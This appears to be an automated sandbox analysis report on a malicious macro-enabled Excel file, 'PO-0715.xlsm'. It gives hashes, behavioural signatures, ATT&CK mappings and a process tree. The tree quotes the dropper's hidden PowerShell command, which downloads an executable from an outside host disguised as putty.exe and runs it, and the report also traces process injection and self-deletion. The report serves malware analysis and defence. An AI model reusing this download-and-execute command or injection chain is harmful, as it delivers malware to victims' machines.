dd07e4b225894da846f284566118ccc96a2aabca90c24337f36ddcc7066eeef4

General

Target

PO-0715.xlsm
Size

92KB
MD5

d89a828241cd67ebdc96a905e5924f24
SHA1

90ef404e139164b266d553a5e094b01c0e810b4f
SHA256

dd07e4b225894da846f284566118ccc96a2aabca90c24337f36ddcc7066eeef4
SHA512

7b83617ed1b56eb3181ddf2a7bd9b9122eae6844cf881312fb2f8c1dc1cf62d92ac2a48b841235978d4f68ea59417009e85095eaabb97859b5e67989e86df6c5

Score

10^/10

evasion trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://ventos.xyz/hen.exe

Signatures

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1448	EXCEL.EXE
1448	EXCEL.EXE
1448	EXCEL.EXE
1448	EXCEL.EXE
1448	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 1128	1448	EXCEL.EXE	24
PID 1448 wrote to memory of 1128	1448	EXCEL.EXE	24
PID 1448 wrote to memory of 1128	1448	EXCEL.EXE	24
PID 1128 wrote to memory of 1872	1128	powershell.exe	27
PID 1128 wrote to memory of 1872	1128	powershell.exe	27
PID 1128 wrote to memory of 1872	1128	powershell.exe	27
PID 1128 wrote to memory of 1872	1128	powershell.exe	27
PID 1872 wrote to memory of 1548	1872	putty.exe	28
PID 1872 wrote to memory of 1548	1872	putty.exe	28
PID 1872 wrote to memory of 1548	1872	putty.exe	28
PID 1872 wrote to memory of 1548	1872	putty.exe	28
PID 1872 wrote to memory of 1548	1872	putty.exe	28
PID 1872 wrote to memory of 1548	1872	putty.exe	28
PID 1872 wrote to memory of 1548	1872	putty.exe	28
PID 1548 wrote to memory of 844	1548	putty.exe	31
PID 1548 wrote to memory of 844	1548	putty.exe	31
PID 1548 wrote to memory of 844	1548	putty.exe	31
PID 1548 wrote to memory of 844	1548	putty.exe	31
PID 844 wrote to memory of 1488	844	cmmon32.exe	32
PID 844 wrote to memory of 1488	844	cmmon32.exe	32
PID 844 wrote to memory of 1488	844	cmmon32.exe	32
PID 844 wrote to memory of 1488	844	cmmon32.exe	32

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
1128	powershell.exe
1872	putty.exe
1872	putty.exe
1872	putty.exe
1548	putty.exe
1548	putty.exe
1548	putty.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe
844	cmmon32.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1548	putty.exe
1548	putty.exe
1548	putty.exe
1548	putty.exe
844	cmmon32.exe
844	cmmon32.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1448	EXCEL.EXE

Blacklisted process makes network request 1 IoCs

flow	pid	Process
5	1128	powershell.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1312	Explorer.EXE
1312	Explorer.EXE
1312	Explorer.EXE
1312	Explorer.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1128	1448	powershell.exe	23

Loads dropped DLL 1 IoCs

pid	Process
1872	putty.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1872 set thread context of 1548	1872	putty.exe	28
PID 1548 set thread context of 1312	1548	putty.exe	20
PID 1548 set thread context of 1312	1548	putty.exe	20
PID 844 set thread context of 1312	844	cmmon32.exe	20

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1312	Explorer.EXE
1312	Explorer.EXE
1312	Explorer.EXE
1312	Explorer.EXE
1312	Explorer.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1872	putty.exe
Token: SeDebugPrivilege	1548	putty.exe
Token: SeDebugPrivilege	844	cmmon32.exe

Executes dropped EXE 2 IoCs

pid	Process
1872	putty.exe
1548	putty.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Checks whether UAC is enabled
- Suspicious use of SendNotifyMessage
- Suspicious use of FindShellTrayWindow
PID:1312
- C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-0715.xlsm
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - Suspicious behavior: AddClipboardFormatListener
  PID:1448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://ventos.xyz/hen.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
    3⤵
    - Suspicious use of WriteProcessMemory
    - Suspicious behavior: EnumeratesProcesses
    - Blacklisted process makes network request
    - Process spawned unexpected child process
    - Suspicious use of AdjustPrivilegeToken
    PID:1128
  - - C:\Users\Admin\AppData\Local\Temp\putty.exe
      "C:\Users\Admin\AppData\Local\Temp\putty.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      Suspicious behavior: EnumeratesProcesses
      Loads dropped DLL
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Executes dropped EXE
      PID:1872
    - - C:\Users\Admin\AppData\Local\Temp\putty.exe
        
        "C:\Users\Admin\AppData\Local\Temp\putty.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Executes dropped EXE
        
        PID:1548
      - C:\Windows\SysWOW64\cmmon32.exe
        
        "C:\Windows\SysWOW64\cmmon32.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:844
        
        C:\Windows\SysWOW64\cmd.exe
        
        /c del "C:\Users\Admin\AppData\Local\Temp\putty.exe"
        7⤵
        
        PID:1488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/844-18-0x0000000000620000-0x000000000062D000-memory.dmp

Filesize
52KB

Download
memory/844-20-0x0000000001F30000-0x0000000001FE5000-memory.dmp

Filesize
724KB

Download
memory/1312-16-0x0000000006D30000-0x0000000006E9C000-memory.dmp

Filesize
1.4MB

Download
memory/1312-21-0x0000000004F30000-0x0000000005010000-memory.dmp

Filesize
896KB

Download
memory/1448-4-0x0000000005EC0000-0x0000000005FC0000-memory.dmp

Filesize
1024KB

Download
memory/1548-13-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download

Analysis

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